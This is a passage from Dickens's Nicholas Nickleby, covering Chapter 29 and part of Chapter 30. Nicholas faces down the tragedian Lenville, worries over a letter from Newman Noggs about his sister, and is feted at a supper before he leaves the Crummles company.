sufficiently explained +to the attentive observer, that his imagination was thrashing, to +within an inch of his life, his body's most active employer, Mr +Ralph Nickleby. + + + +CHAPTER 29 + +Of the Proceedings of Nicholas, and certain Internal Divisions in +the Company of Mr Vincent Crummles + + +The unexpected success and favour with which his experiment at +Portsmouth had been received, induced Mr Crummles to prolong his +stay in that town for a fortnight beyond the period he had +originally assigned for the duration of his visit, during which time +Nicholas personated a vast variety of characters with undiminished +success, and attracted so many people to the theatre who had never +been seen there before, that a benefit was considered by the manager +a very promising speculation. Nicholas assenting to the terms +proposed, the benefit was had, and by it he realised no less a sum +than twenty pounds. + +Possessed of this unexpected wealth, his first act was to enclose to +honest John Browdie the amount of his friendly loan, which he +accompanied with many expressions of gratitude and esteem, and many +cordial wishes for his matrimonial happiness. To Newman Noggs he +forwarded one half of the sum he had realised, entreating him to +take an opportunity of handing it to Kate in secret, and conveying +to her the warmest assurances of his love and affection. He made no +mention of the way in which he had employed himself; merely +informing Newman that a letter addressed to him under his assumed +name at the Post Office, Portsmouth, would readily find him, and +entreating that worthy friend to write full particulars of the +situation of his mother and sister, and an account of all the grand +things that Ralph Nickleby had done for them since his departure +from London. + +'You are out of spirits,' said Smike, on the night after the letter +had been dispatched. + +'Not I!' rejoined Nicholas, with assumed gaiety, for the confession +would have made the boy miserable all night; 'I was thinking about +my sister, Smike.' + +'Sister!' + +'Ay.' + +'Is she like you?' inquired Smike. + +'Why, so they say,' replied Nicholas, laughing, 'only a great deal +handsomer.' + +'She must be VERY beautiful,' said Smike, after thinking a little +while with his hands folded together, and his eyes bent upon his +friend. + +'Anybody who didn't know you as well as I do, my dear fellow, would +say you were an accomplished courtier,' said Nicholas. + +'I don't even know what that is,' replied Smike, shaking his head. +'Shall I ever see your sister?' + +'To be sure,' cried Nicholas; 'we shall all be together one of these +days--when we are rich, Smike.' + +'How is it that you, who are so kind and good to me, have nobody to +be kind to you?' asked Smike. 'I cannot make that out.' + +'Why, it is a long story,' replied Nicholas, 'and one you would have +some difficulty in comprehending, I fear. I have an enemy--you +understand what that is?' + +'Oh, yes, I understand that,' said Smike. + +'Well, it is owing to him,' returned Nicholas. 'He is rich, and not +so easily punished as YOUR old enemy, Mr Squeers. He is my uncle, +but he is a villain, and has done me wrong.' + +'Has he though?' asked Smike, bending eagerly forward. 'What is his +name? Tell me his name.' + +'Ralph--Ralph Nickleby.' + +'Ralph Nickleby,' repeated Smike. 'Ralph. I'll get that name by +heart.' + +He had muttered it over to himself some twenty times, when a loud +knock at the door disturbed him from his occupation. Before he +could open it, Mr Folair, the pantomimist, thrust in his head. + +Mr Folair's head was usually decorated with a very round hat, +unusually high in the crown, and curled up quite tight in the brims. +On the present occasion he wore it very much on one side, with the +back part forward in consequence of its being the least rusty; round +his neck he wore a flaming red worsted comforter, whereof the +straggling ends peeped out beneath his threadbare Newmarket coat, +which was very tight and buttoned all the way up. He carried in his +hand one very dirty glove, and a cheap dress cane with a glass +handle; in short, his whole appearance was unusually dashing, and +demonstrated a far more scrupulous attention to his toilet than he +was in the habit of bestowing upon it. + +'Good-evening, sir,' said Mr Folair, taking off the tall hat, and +running his fingers through his hair. 'I bring a communication. +Hem!' + +'From whom and what about?' inquired Nicholas. 'You are unusually +mysterious tonight.' + +'Cold, perhaps,' returned Mr Folair; 'cold, perhaps. That is the +fault of my position--not of myself, Mr Johnson. My position as a +mutual friend requires it, sir.' Mr Folair paused with a most +impressive look, and diving into the hat before noticed, drew from +thence a small piece of whity-brown paper curiously folded, whence +he brought forth a note which it had served to keep clean, and +handing it over to Nicholas, said-- + +'Have the goodness to read that, sir.' + +Nicholas, in a state of much amazement, took the note and broke the +seal, glancing at Mr Folair as he did so, who, knitting his brow and +pursing up his mouth with great dignity, was sitting with his eyes +steadily fixed upon the ceiling. + +It was directed to blank Johnson, Esq., by favour of Augustus +Folair, Esq.; and the astonishment of Nicholas was in no degree +lessened, when he found it to be couched in the following laconic +terms:-- + +"Mr Lenville presents his kind regards to Mr Johnson, and will feel +obliged if he will inform him at what hour tomorrow morning it will +be most convenient to him to meet Mr L. at the Theatre, for the +purpose of having his nose pulled in the presence of the company. + +"Mr Lenville requests Mr Johnson not to neglect making an +appointment, as he has invited two or three professional friends to +witness the ceremony, and cannot disappoint them upon any account +whatever. + +"PORTSMOUTH, TUESDAY NIGHT." + +Indignant as he was at this impertinence, there was something so +exquisitely absurd in such a cartel of defiance, that Nicholas was +obliged to bite his lip and read the note over two or three times +before he could muster sufficient gravity and sternness to address +the hostile messenger, who had not taken his eyes from the ceiling, +nor altered the expression of his face in the slightest degree. + +'Do you know the contents of this note, sir?' he asked, at length. + +'Yes,' rejoined Mr Folair, looking round for an instant, and +immediately carrying his eyes back again to the ceiling. + +'And how dare you bring it here, sir?' asked Nicholas, tearing it +into very little pieces, and jerking it in a shower towards the +messenger. 'Had you no fear of being kicked downstairs, sir?' + +Mr Folair turned his head--now ornamented with several fragments of +the note--towards Nicholas, and with the same imperturbable dignity, +briefly replied 'No.' + +'Then,' said Nicholas, taking up the tall hat and tossing it towards +the door, 'you had better follow that article of your dress, sir, or +you may find yourself very disagreeably deceived, and that within a +dozen seconds.' + +'I say, Johnson,' remonstrated Mr Folair, suddenly losing all his +dignity, 'none of that, you know. No tricks with a gentleman's +wardrobe.' + +'Leave the room,' returned Nicholas. 'How could you presume to come +here on such an errand, you scoundrel?' + +'Pooh! pooh!' said Mr Folair, unwinding his comforter, and gradually +getting himself out of it. 'There--that's enough.' + +'Enough!' cried Nicholas, advancing towards him. 'Take yourself +off, sir.' + +'Pooh! pooh! I tell you,' returned Mr Folair, waving his hand in +deprecation of any further wrath; 'I wasn't in earnest. I only +brought it in joke.' + +'You had better be careful how you indulge in such jokes again,' +said Nicholas, 'or you may find an allusion to pulling noses rather +a dangerous reminder for the subject of your facetiousness. Was it +written in joke, too, pray?' + +'No, no, that's the best of it,' returned the actor; 'right down +earnest--honour bright.' + +Nicholas could not repress a smile at the odd figure before him, +which, at all times more calculated to provoke mirth than anger, was +especially so at that moment, when with one knee upon the ground, Mr +Folair twirled his old hat round upon his hand, and affected the +extremest agony lest any of the nap should have been knocked off--an +ornament which it is almost superfluous to say, it had not boasted +for many months. + +'Come, sir,' said Nicholas, laughing in spite of himself. 'Have the +goodness to explain.' + +'Why, I'll tell you how it is,' said Mr Folair, sitting himself down +in a chair with great coolness. 'Since you came here Lenville has +done nothing but second business, and, instead of having a reception +every night as he used to have, they have let him come on as if he +was nobody.' + +'What do you mean by a reception?' asked Nicholas. + +'Jupiter!' exclaimed Mr Folair, 'what an unsophisticated shepherd +you are, Johnson! Why, applause from the house when you first come +on. So he has gone on night after night, never getting a hand, and +you getting a couple of rounds at least, and sometimes three, till +at length he got quite desperate, and had half a mind last night to +play Tybalt with a real sword, and pink you--not dangerously, but +just enough to lay you up for a month or two.' + +'Very considerate,' remarked Nicholas. + +'Yes, I think it was under the circumstances; his professional +reputation being at stake,' said Mr Folair, quite seriously. 'But +his heart failed him, and he cast about for some other way of +annoying you, and making himself popular at the same time--for +that's the point. Notoriety, notoriety, is the thing. Bless you, +if he had pinked you,' said Mr Folair, stopping to make a +calculation in his mind, 'it would have been worth--ah, it would +have been worth eight or ten shillings a week to him. All the town +would have come to see the actor who nearly killed a man by mistake; +I shouldn't wonder if it had got him an engagement in London. +However, he was obliged to try some other mode of getting popular, +and this one occurred to him. It's clever idea, really. If you had +shown the white feather, and let him pull your nose, he'd have got +it into the paper; if you had sworn the peace against him, it would +have been in the paper too, and he'd have been just as much talked +about as you--don't you see?' + +'Oh, certainly,' rejoined Nicholas; 'but suppose I were to turn the +tables, and pull HIS nose, what then? Would that make his fortune?' + +'Why, I don't think it would,' replied Mr Folair, scratching his +head, 'because there wouldn't be any romance about it, and he +wouldn't be favourably known. To tell you the truth though, he +didn't calculate much upon that, for you're always so mild-spoken, +and are so popular among the women, that we didn't suspect you of +showing fight. If you did, however, he has a way of getting out of +it easily, depend upon that.' + +'Has he?' rejoined Nicholas. 'We will try, tomorrow morning. In +the meantime, you can give whatever account of our interview you +like best. Good-night.' + +As Mr Folair was pretty well known among his fellow-actors for a man +who delighted in mischief, and was by no means scrupulous, Nicholas +had not much doubt but that he had secretly prompted the tragedian +in the course he had taken, and, moreover, that he would have +carried his mission with a very high hand if he had not been +disconcerted by the very unexpected demonstrations with which it had +been received. It was not worth his while to be serious with him, +however, so he dismissed the pantomimist, with a gentle hint that if +he offended again it would be under the penalty of a broken head; +and Mr Folair, taking the caution in exceedingly good part, walked +away to confer with his principal, and give such an account of his +proceedings as he might think best calculated to carry on the joke. + +He had no doubt reported that Nicholas was in a state of extreme +bodily fear; for when that young gentleman walked with much +deliberation down to the theatre next morning at the usual hour, he +found all the company assembled in evident expectation, and Mr +Lenville, with his severest stage face, sitting majestically on a +table, whistling defiance. + +Now the ladies were on the side of Nicholas, and the gentlemen +(being jealous) were on the side of the disappointed tragedian; so +that the latter formed a little group about the redoubtable Mr +Lenville, and the former looked on at a little distance in some +trepidation and anxiety. On Nicholas stopping to salute them, Mr +Lenville laughed a scornful laugh, and made some general remark +touching the natural history of puppies. + +'Oh!' said Nicholas, looking quietly round, 'are you there?' + +'Slave!' returned Mr Lenville, flourishing his right arm, and +approaching Nicholas with a theatrical stride. But somehow he +appeared just at that moment a little startled, as if Nicholas did +not look quite so frightened as he had expected, and came all at +once to an awkward halt, at which the assembled ladies burst into a +shrill laugh. + +'Object of my scorn and hatred!' said Mr Lenville, 'I hold ye in +contempt.' + +Nicholas laughed in very unexpected enjoyment of this performance; +and the ladies, by way of encouragement, laughed louder than before; +whereat Mr Lenville assumed his bitterest smile, and expressed his +opinion that they were 'minions'. + +'But they shall not protect ye!' said the tragedian, taking an +upward look at Nicholas, beginning at his boots and ending at the +crown of his head, and then a downward one, beginning at the crown +of his head, and ending at his boots--which two looks, as everybody +knows, express defiance on the stage. 'They shall not protect ye-- +boy!' + +Thus speaking, Mr Lenville folded his arms, and treated Nicholas to +that expression of face with which, in melodramatic performances, he +was in the habit of regarding the tyrannical kings when they said, +'Away with him to the deepest dungeon beneath the castle moat;' and +which, accompanied with a little jingling of fetters, had been known +to produce great effects in its time. + +Whether it was the absence of the fetters or not, it made no very +deep impression on Mr Lenville's adversary, however, but rather +seemed to increase the good-humour expressed in his countenance; in +which stage of the contest, one or two gentlemen, who had come out +expressly to witness the pulling of Nicholas's nose, grew impatient, +murmuring that if it were to be done at all it had better be done at +once, and that if Mr Lenville didn't mean to do it he had better say +so, and not keep them waiting there. Thus urged, the tragedian +adjusted the cuff of his right coat sleeve for the performance of +the operation, and walked in a very stately manner up to Nicholas, +who suffered him to approach to within the requisite distance, and +then, without the smallest discomposure, knocked him down. + +Before the discomfited tragedian could raise his head from the +boards, Mrs Lenville (who, as has been before hinted, was in an +interesting state) rushed from the rear rank of ladies, and uttering +a piercing scream threw herself upon the body. + +'Do you see this, monster? Do you see THIS?' cried Mr Lenville, +sitting up, and pointing to his prostrate lady, who was holding him +very tight round the waist. + +'Come,' said Nicholas, nodding his head, 'apologise for the insolent +note you wrote to me last night, and waste no more time in talking.' + +'Never!' cried Mr Lenville. + +'Yes--yes--yes!' screamed his wife. 'For my sake--for mine, +Lenville--forego all idle forms, unless you would see me a blighted +corse at your feet.' + +'This is affecting!' said Mr Lenville, looking round him, and +drawing the back of his hand across his eyes. 'The ties of nature +are strong. The weak husband and the father--the father that is yet +to be--relents. I apologise.' + +'Humbly and submissively?' said Nicholas. + +'Humbly and submissively,' returned the tragedian, scowling upwards. +'But only to save her,--for a time will come--' + +'Very good,' said Nicholas; 'I hope Mrs Lenville may have a good +one; and when it does come, and you are a father, you shall retract +it if you have the courage. There. Be careful, sir, to what +lengths your jealousy carries you another time; and be careful, +also, before you venture too far, to ascertain your rival's temper.' +With this parting advice Nicholas picked up Mr Lenville's ash stick +which had flown out of his hand, and breaking it in half, threw him +the pieces and withdrew, bowing slightly to the spectators as he +walked out. + +The profoundest deference was paid to Nicholas that night, and the +people who had been most anxious to have his nose pulled in the +morning, embraced occasions of taking him aside, and telling him +with great feeling, how very friendly they took it that he should +have treated that Lenville so properly, who was a most unbearable +fellow, and on whom they had all, by a remarkable coincidence, at +one time or other contemplated the infliction of condign punishment, +which they had only been restrained from administering by +considerations of mercy; indeed, to judge from the invariable +termination of all these stories, there never was such a charitable +and kind-hearted set of people as the male members of Mr Crummles's +company. + +Nicholas bore his triumph, as he had his success in the little world +of the theatre, with the utmost moderation and good humour. The +crestfallen Mr Lenville made an expiring effort to obtain revenge by +sending a boy into the gallery to hiss, but he fell a sacrifice to +popular indignation, and was promptly turned out without having his +money back. + +'Well, Smike,' said Nicholas when the first piece was over, and he +had almost finished dressing to go home, 'is there any letter yet?' + +'Yes,' replied Smike, 'I got this one from the post-office.' + +'From Newman Noggs,' said Nicholas, casting his eye upon the cramped +direction; 'it's no easy matter to make his writing out. Let me +see--let me see.' + +By dint of poring over the letter for half an hour, he contrived to +make himself master of the contents, which were certainly not of a +nature to set his mind at ease. Newman took upon himself to send +back the ten pounds, observing that he had ascertained that neither +Mrs Nickleby nor Kate was in actual want of money at the moment, and +that a time might shortly come when Nicholas might want it more. He +entreated him not to be alarmed at what he was about to say;--there +was no bad news--they were in good health--but he thought +circumstances might occur, or were occurring, which would render it +absolutely necessary that Kate should have her brother's protection, +and if so, Newman said, he would write to him to that effect, either +by the next post or the next but one. + +Nicholas read this passage very often, and the more he thought of it +the more he began to fear some treachery upon the part of Ralph. +Once or twice he felt tempted to repair to London at all hazards +without an hour's delay, but a little reflection assured him that if +such a step were necessary, Newman would have spoken out and told +him so at once. + +'At all events I should prepare them here for the possibility of my +going away suddenly,' said Nicholas; 'I should lose no time in doing +that.' As the thought occurred to him, he took up his hat and +hurried to the green-room. + +'Well, Mr Johnson,' said Mrs Crummles, who was seated there in full +regal costume, with the phenomenon as the Maiden in her maternal +arms, 'next week for Ryde, then for Winchester, then for--' + +'I have some reason to fear,' interrupted Nicholas, 'that before you +leave here my career with you will have closed.' + +'Closed!' cried Mrs Crummles, raising her hands in astonishment. + +'Closed!' cried Miss Snevellicci, trembling so much in her tights +that she actually laid her hand upon the shoulder of the manageress +for support. + +'Why he don't mean to say he's going!' exclaimed Mrs Grudden, making +her way towards Mrs Crummles. 'Hoity toity! Nonsense.' + +The phenomenon, being of an affectionate nature and moreover +excitable, raised a loud cry, and Miss Belvawney and Miss Bravassa +actually shed tears. Even the male performers stopped in their +conversation, and echoed the word 'Going!' although some among them +(and they had been the loudest in their congratulations that day) +winked at each other as though they would not be sorry to lose such +a favoured rival; an opinion, indeed, which the honest Mr Folair, +who was ready dressed for the savage, openly stated in so many words +to a demon with whom he was sharing a pot of porter. + +Nicholas briefly said that he feared it would be so, although he +could not yet speak with any degree of certainty; and getting away +as soon as he could, went home to con Newman's letter once more, and +speculate upon it afresh. + +How trifling all that had been occupying his time and thoughts for +many weeks seemed to him during that sleepless night, and how +constantly and incessantly present to his imagination was the one +idea that Kate in the midst of some great trouble and distress might +even then be looking--and vainly too--for him! + + + +CHAPTER 30 + +Festivities are held in honour of Nicholas, who suddenly withdraws +himself from the Society of Mr Vincent Crummles and his Theatrical +Companions + + +Mr Vincent Crummles was no sooner acquainted with the public +announcement which Nicholas had made relative to the probability of +his shortly ceasing to be a member of the company, than he evinced +many tokens of grief and consternation; and, in the extremity of his +despair, even held out certain vague promises of a speedy +improvement not only in the amount of his regular salary, but also +in the contingent emoluments appertaining to his authorship. +Finding Nicholas bent upon quitting the society--for he had now +determined that, even if no further tidings came from Newman, he +would, at all hazards, ease his mind by repairing to London and +ascertaining the exact position of his sister--Mr Crummles was fain +to content himself by calculating the chances of his coming back +again, and taking prompt and energetic measures to make the most of +him before he went away. + +'Let me see,' said Mr Crummles, taking off his outlaw's wig, the +better to arrive at a cool-headed view of the whole case. 'Let me +see. This is Wednesday night. We'll have posters out the first +thing in the morning, announcing positively your last appearance for +tomorrow.' + +'But perhaps it may not be my last appearance, you know,' said +Nicholas. 'Unless I am summoned away, I should be sorry to +inconvenience you by leaving before the end of the week.' + +'So much the better,' returned Mr Crummles. 'We can have positively +your last appearance, on Thursday--re-engagement for one night more, +on Friday--and, yielding to the wishes of numerous influential +patrons, who were disappointed in obtaining seats, on Saturday. +That ought to bring three very decent houses.' + +'Then I am to make three last appearances, am I?' inquired Nicholas, +smiling. + +'Yes,' rejoined the manager, scratching his head with an air of some +vexation; 'three is not enough, and it's very bungling and irregular +not to have more, but if we can't help it we can't, so there's no +use in talking. A novelty would be very desirable. You couldn't +sing a comic song on the pony's back, could you?' + +'No,' replied Nicholas, 'I couldn't indeed.' + +'It has drawn money before now,' said Mr Crummles, with a look of +disappointment. 'What do you think of a brilliant display of +fireworks?' + +'That it would be rather expensive,' replied Nicholas, drily. + +'Eighteen-pence would do it,' said Mr Crummles. 'You on the top of +a pair of steps with the phenomenon in an attitude; "Farewell!" on a +transparency behind; and nine people at the wings with a squib in +each hand--all the dozen and a half going off at once--it would be +very grand--awful from the front, quite awful.' + +As Nicholas appeared by no means impressed with the solemnity of the +proposed effect, but, on the contrary, received the proposition in a +most irreverent manner, and laughed at it very heartily, Mr Crummles +abandoned the project in its birth, and gloomily observed that they +must make up the best bill they could with combats and hornpipes, +and so stick to the legitimate drama. + +For the purpose of carrying this object into instant execution, the +manager at once repaired to a small dressing-room, adjacent, where +Mrs Crummles was then occupied in exchanging the habiliments of a +melodramatic empress for the ordinary attire of matrons in the +nineteenth century. And with the assistance of this lady, and the +accomplished Mrs Grudden (who had quite a genius for making out +bills, being a great hand at throwing in the notes of admiration, +and knowing from long experience exactly where the largest capitals +ought to go), he seriously applied himself to the composition of the +poster. + +'Heigho!' sighed Nicholas, as he threw himself back in the +prompter's chair, after telegraphing the needful directions to +Smike, who had been playing a meagre tailor in the interlude, with +one skirt to his coat, and a little pocket-handkerchief with a large +hole in it, and a woollen nightcap, and a red nose, and other +distinctive marks peculiar to tailors on the stage. 'Heigho! I wish +all this were over.' + +'Over, Mr Johnson!' repeated a female voice behind him, in a kind of +plaintive surprise. + +'It was an ungallant speech, certainly,' said Nicholas, looking up +to see who the speaker was, and recognising Miss Snevellicci. 'I +would not have made it if I had known you had been within hearing.' + +'What a dear that Mr Digby is!' said Miss Snevellicci, as the tailor +went off on the opposite side, at the end of the piece, with great +applause. (Smike's theatrical name was Digby.) + +'I'll tell him presently, for his gratification, that you said so,' +returned Nicholas. + +'Oh you naughty thing!' rejoined Miss Snevellicci. 'I don't know +though, that I should much mind HIS knowing my opinion of him; with +some other people, indeed, it might be--' Here Miss Snevellicci +stopped, as though waiting to be questioned, but no questioning +came, for Nicholas was thinking about more serious matters. + +'How kind it is of you,' resumed Miss Snevellicci, after a short +silence, 'to sit waiting here for him night after night, night after +night, no matter how tired you are; and taking so much pains with +him, and doing it all with as much delight and readiness as if you +were coining gold by it!' + +'He well deserves all the kindness I can show him, and a great deal +more,' said Nicholas. 'He is the most grateful, single-hearted, +affectionate creature that ever breathed.' + +'So odd, too,' remarked Miss Snevellicci, 'isn't he?' + +'God help him, and those who have made him so; he is indeed,' +rejoined Nicholas, shaking his head. + +'He is such a devilish close chap,' said Mr Folair, who had come up +a little before, and now joined in the conversation. 'Nobody can +ever get anything out of him.' + +'What SHOULD they get out of him?' asked Nicholas, turning round +with some abruptness. + +'Zooks! what a fire-eater you are, Johnson!' returned Mr Folair, +pulling up the heel of his dancing shoe. 'I'm only talking of the +natural curiosity of the people here, to know what he has been about +all his life.' + +'Poor fellow! it is pretty plain, I should think, that he has not +the intellect to have been about anything of much importance to them +or anybody else,' said Nicholas. + +'Ay,' rejoined the actor, contemplating the effect of his face in a +lamp reflector, 'but that involves the whole question, you know.' + +'What question?' asked Nicholas. + +'Why, the who he is and what he is, and how you two, who are so +different, came to be such close companions,' replied Mr Folair, +delighted with the opportunity of saying something disagreeable. +'That's in everybody's mouth.' + +'The "everybody" of the theatre, I suppose?' said Nicholas, +contemptuously. + +'In it and out of it too,' replied the actor. 'Why, you know, +Lenville says--' + +'I thought I had silenced him effectually,' interrupted Nicholas, +reddening. + +'Perhaps you have,' rejoined the immovable Mr Folair; 'if you have, +he said this before he was silenced: Lenville says that you're a +regular stick of an actor, and that it's only the mystery about you +that has caused you to go down with the people here, and that +Crummles keeps it up for his own sake; though Lenville says he don't +believe there's anything at all in it, except your having got into a +scrape and run away from somewhere, for doing something or other.' + +'Oh!' said Nicholas, forcing a smile. + +'That's a part of what he says,' added Mr Folair. 'I mention it as +the friend of both parties, and in strict confidence. I don't agree +with him, you know. He says he takes Digby to be more knave than +fool; and old Fluggers, who does the heavy business you know, HE +says that when he delivered messages at Covent Garden the season +before last, there used to be a pickpocket hovering about the coach- +stand who had exactly the face of Digby; though, as he very properly +says, Digby may not be the same, but only his brother, or some near +relation.' + +'Oh!' cried Nicholas again. + +'Yes,' said Mr Folair, with undisturbed calmness, 'that's what they +say. I thought I'd tell you, because really you ought to know. Oh! +here's this blessed phenomenon at last. Ugh, you little imposition, +I should like to--quite ready, my darling,--humbug--Ring up, Mrs G., +and let the favourite wake 'em.' + +Uttering in a loud voice such of the latter allusions as were +complimentary to the unconscious phenomenon, and giving the rest in +a confidential 'aside' to Nicholas, Mr Folair followed the ascent of +the curtain with his eyes, regarded with a sneer the reception of +Miss Crummles as the Maiden, and, falling back a step or two to +advance with the better effect, uttered a preliminary howl, and +'went on' chattering his teeth and brandishing his tin tomahawk as +the Indian Savage. + +'So these are some of the stories they invent about us, and bandy +from mouth to mouth!' thought Nicholas. 'If a man would commit an +inexpiable offence against any society, large or small, let him be +successful. They will forgive him any crime but that.' + +'You surely don't mind what that malicious creature says, Mr +Johnson?' observed Miss Snevellicci in her most winning tones. + +'Not I,' replied Nicholas. 'If I were going to remain here, I might +think it worth my while to embroil myself. As it is, let them talk +till they are hoarse. But here,' added Nicholas, as Smike +approached, 'here comes the subject of a portion of their good- +nature, so let he and I say good night together.' + +'No, I will not let either of you say anything of the kind,' +returned Miss Snevellicci. 'You must come home and see mama, who +only came to Portsmouth today, and is dying to behold you. Led, my +dear, persuade Mr Johnson.' + +'Oh, I'm sure,' returned Miss Ledrook, with considerable vivacity, +'if YOU can't persuade him--' Miss Ledrook said no more, but +intimated, by a dexterous playfulness, that if Miss Snevellicci +couldn't persuade him, nobody could. + +'Mr and Mrs Lillyvick have taken lodgings in our house, and share +our sitting-room for the present,' said Miss Snevellicci. 'Won't +that induce you?' + +'Surely,' returned Nicholas, 'I can require no possible inducement +beyond your invitation.' + +'Oh no! I dare say,' rejoined Miss Snevellicci. And Miss Ledrook +said, 'Upon my word!' Upon which Miss Snevellicci said that Miss +Ledrook was a giddy thing; and Miss Ledrook said that Miss +Snevellicci needn't colour up quite so much; and Miss Snevellicci +beat Miss Ledrook, and Miss Ledrook beat Miss Snevellicci. + +'Come,' said Miss Ledrook, 'it's high time we were there, or we +shall have poor Mrs Snevellicci thinking that you have run away with +her daughter, Mr Johnson; and then we should have a pretty to-do.' + +'My dear Led,' remonstrated Miss Snevellicci, 'how you do talk!' + +Miss Ledrook made no answer, but taking Smike's arm in hers, left +her friend and Nicholas to follow at their pleasure; which it +pleased them, or rather pleased Nicholas, who had no great fancy for +a TETE-A-TETE under the circumstances, to do at once. + +There were not wanting matters of conversation when they reached the +street, for it turned out that Miss Snevellicci had a small basket +to carry home, and Miss Ledrook a small bandbox, both containing +such minor articles of theatrical costume as the lady performers +usually carried to and fro every evening. Nicholas would insist +upon carrying the basket, and Miss Snevellicci would insist upon +carrying it herself, which gave rise to a struggle, in which +Nicholas captured the basket and the bandbox likewise. Then +Nicholas said, that he wondered what could possibly be inside the +basket, and attempted to peep in, whereat Miss Snevellicci screamed, +and declared that if she thought he had seen, she was sure she +should faint away. This declaration was followed by a similar +attempt on the bandbox, and similar demonstrations on the part of +Miss Ledrook, and then both ladies vowed that they wouldn't move a +step further until Nicholas had promised that he wouldn't offer to +peep again. At last Nicholas pledged himself to betray no further +curiosity, and they walked on: both ladies giggling very much, and +declaring that they never had seen such a wicked creature in all +their born days--never. + +Lightening the way with such pleasantry as this, they arrived at the +tailor's house in no time; and here they made quite a little party, +there being present besides Mr Lillyvick and Mrs Lillyvick, not only +Miss Snevellicci's mama, but her papa also. And an uncommonly fine +man Miss Snevellicci's papa was, with a hook nose, and a white +forehead, and curly black hair, and high cheek bones, and altogether +quite a handsome face, only a little pimply as though with drinking. +He had a very broad chest had Miss Snevellicci's papa, and he wore a +threadbare blue dress-coat buttoned with gilt buttons tight across +it; and he no sooner saw Nicholas come into the room, than he +whipped the two forefingers of his right hand in between the two +centre buttons, and sticking his other arm gracefully a-kimbo seemed +to say, 'Now, here I am, my buck, and what have you got to say to +me?' + +Such was, and in such an attitude sat Miss Snevellicci's papa, who +had been in the profession ever since he had first played the ten- +year-old imps in the Christmas pantomimes; who could sing a little, +dance a little, fence a little, act a little, and do everything a +little, but not much; who had been sometimes in the ballet, and +sometimes in the chorus, at every theatre in London; who was always +selected in virtue of his figure to play the military visitors and +the speechless noblemen; who always wore a smart dress, and came on +arm-in-arm with a smart lady in short petticoats,--and always did it +too with such an air that people in the pit had been several times +known to cry out 'Bravo!' under the impression that he was somebody. +Such was Miss Snevellicci's papa, upon whom some envious persons +cast the imputation that he occasionally beat Miss Snevellicci's +mama, who was still a dancer, with a neat little figure and some +remains of good looks; and who now sat, as she danced,--being rather +too old for the full glare of the foot-lights,--in the background. + +To these good people Nicholas was presented with much formality. +The introduction being completed, Miss Snevellicci's papa (who was +scented with rum-and-water) said that he was delighted to make the +acquaintance of a gentleman so highly talented; and furthermore +remarked, that there hadn't been such a hit made--no, not since the +first appearance of his friend Mr Glavormelly, at the Coburg. + +'You have seen him, sir?' said Miss Snevellicci's papa. + +'No, really I never did,' replied Nicholas. + +'You never saw my friend Glavormelly, sir!' said Miss Snevellicci's +papa. 'Then you have never seen acting yet. If he had lived--' + +'Oh, he is dead, is he?' interrupted Nicholas. + +'He is,' said Mr Snevellicci, 'but he isn't in Westminster Abbey, +more's the shame. He was a--. Well, no matter. He is gone to that +bourne from whence no traveller returns. I hope he is appreciated +THERE.' + +So saying Miss Snevellicci's papa rubbed the tip of his nose with a +very yellow silk handkerchief, and gave the company to understand +that these recollections overcame him. + +'Well, Mr Lillyvick,' said Nicholas, 'and how are you?' + +'Quite well, sir,' replied the collector. 'There is nothing like +the married state, sir, depend upon it.' + +'Indeed!' said Nicholas, laughing. + +'Ah! nothing like it, sir,' replied Mr Lillyvick solemnly. 'How do +you think,' whispered the collector, drawing him aside, 'how do you +think she looks tonight?' + +'As handsome as ever,' replied Nicholas, glancing at the late Miss +Petowker. + +'Why, there's air about her, sir,' whispered the collector, 'that I +never saw in anybody. Look at her, now she moves to put the kettle +on. There! Isn't it fascination, sir?' + +'You're a lucky man,' said Nicholas. + +'Ha, ha, ha!' rejoined the collector. 'No. Do you think I am +though, eh? Perhaps I may be, perhaps I may be. I say, I couldn't +have done much better if I had been a young man, could I? You +couldn't have done much better yourself, could you--eh--could you?' +With such inquires, and many more such, Mr Lillyvick jerked his +elbow into Nicholas's side, and chuckled till his face became quite +purple in the attempt to keep down his satisfaction. + +By this time the cloth had been laid under the joint superintendence +of all the ladies, upon two tables put together, one being high and +narrow, and the other low and broad. There were oysters at the top, +sausages at the bottom, a pair of snuffers in the centre, and baked +potatoes wherever it was most convenient to put them. Two +additional chairs were brought in from the bedroom: Miss Snevellicci +sat at the head of the table, and Mr Lillyvick at the foot; and +Nicholas had not only the honour of sitting next Miss Snevellicci, +but of having Miss Snevellicci's mama on his right hand, and Miss +Snevellicci's papa over the way. In short, he was the hero of the +feast; and when the table was cleared and something warm introduced, +Miss Snevellicci's papa got up and proposed his health in a speech +containing such affecting allusions to his coming departure, that +Miss Snevellicci wept, and was compelled to retire into the bedroom. + +'Hush! Don't take any notice of it,' said Miss Ledrook, peeping in +from the bedroom. 'Say, when she comes back, that she exerts +herself too much.' + +Miss Ledrook eked out this speech with so many mysterious nods and +frowns before she shut the door again, that a profound silence came +upon all the company, during which Miss Snevellicci's papa looked +very big indeed--several sizes larger than life--at everybody in +turn, but particularly at Nicholas, and kept on perpetually emptying +his tumbler and filling it again, until the ladies returned in a +cluster, with Miss Snevellicci among them. + +'You needn't alarm yourself a bit, Mr Snevellicci,' said Mrs +Lillyvick. 'She is only a little weak and nervous; she has been so +ever since the morning.' + +'Oh,' said Mr Snevellicci, 'that's all, is it?' + +'Oh yes, that's all. Don't make a fuss about it,' cried all the +ladies together. + +Now this was not exactly the kind of reply suited to Mr Snevellicci's +importance as a man and a father, so he picked out the unfortunate +Mrs Snevellicci, and asked her what the devil she meant by talking +to him in that way. + +'Dear me, my dear!' said Mrs Snevellicci. + +'Don't call me your dear, ma'am,' said Mr Snevellicci, 'if you +please.' + +'Pray, pa, don't,' interposed Miss Snevellicci. + +'Don't what, my child?' + +'Talk in that way.' + +'Why not?' said Mr Snevellicci. 'I hope you don't suppose there's +anybody here who is to prevent my talking as I like?' + +'Nobody wants to, pa,' rejoined his daughter. + +'Nobody would if they did want to,' said Mr Snevellicci. 'I am not +ashamed of myself, Snevellicci is my name; I'm to be found in Broad +Court, Bow Street, when I'm in town. If I'm not at home, let any +man ask for me at the stage-door. Damme, they know me at the stage- +door I suppose. Most men have seen my portrait at the cigar shop +round the corner. I've been mentioned in the newspapers before now, +haven't I? Talk! I'll tell you what; if I found out that any man +had been tampering with the affections of my daughter, I wouldn't +talk. I'd astonish him without talking; that's my way.' + +So saying, Mr Snevellicci struck the palm of his left hand three +smart blows with his clenched fist; pulled a phantom nose with his +right thumb and forefinger, and swallowed another glassful at a +draught. 'That's my way,' repeated Mr Snevellicci. + +Most public characters have their failings; and the truth is that Mr +Snevellicci was a little addicted to drinking; or, if the 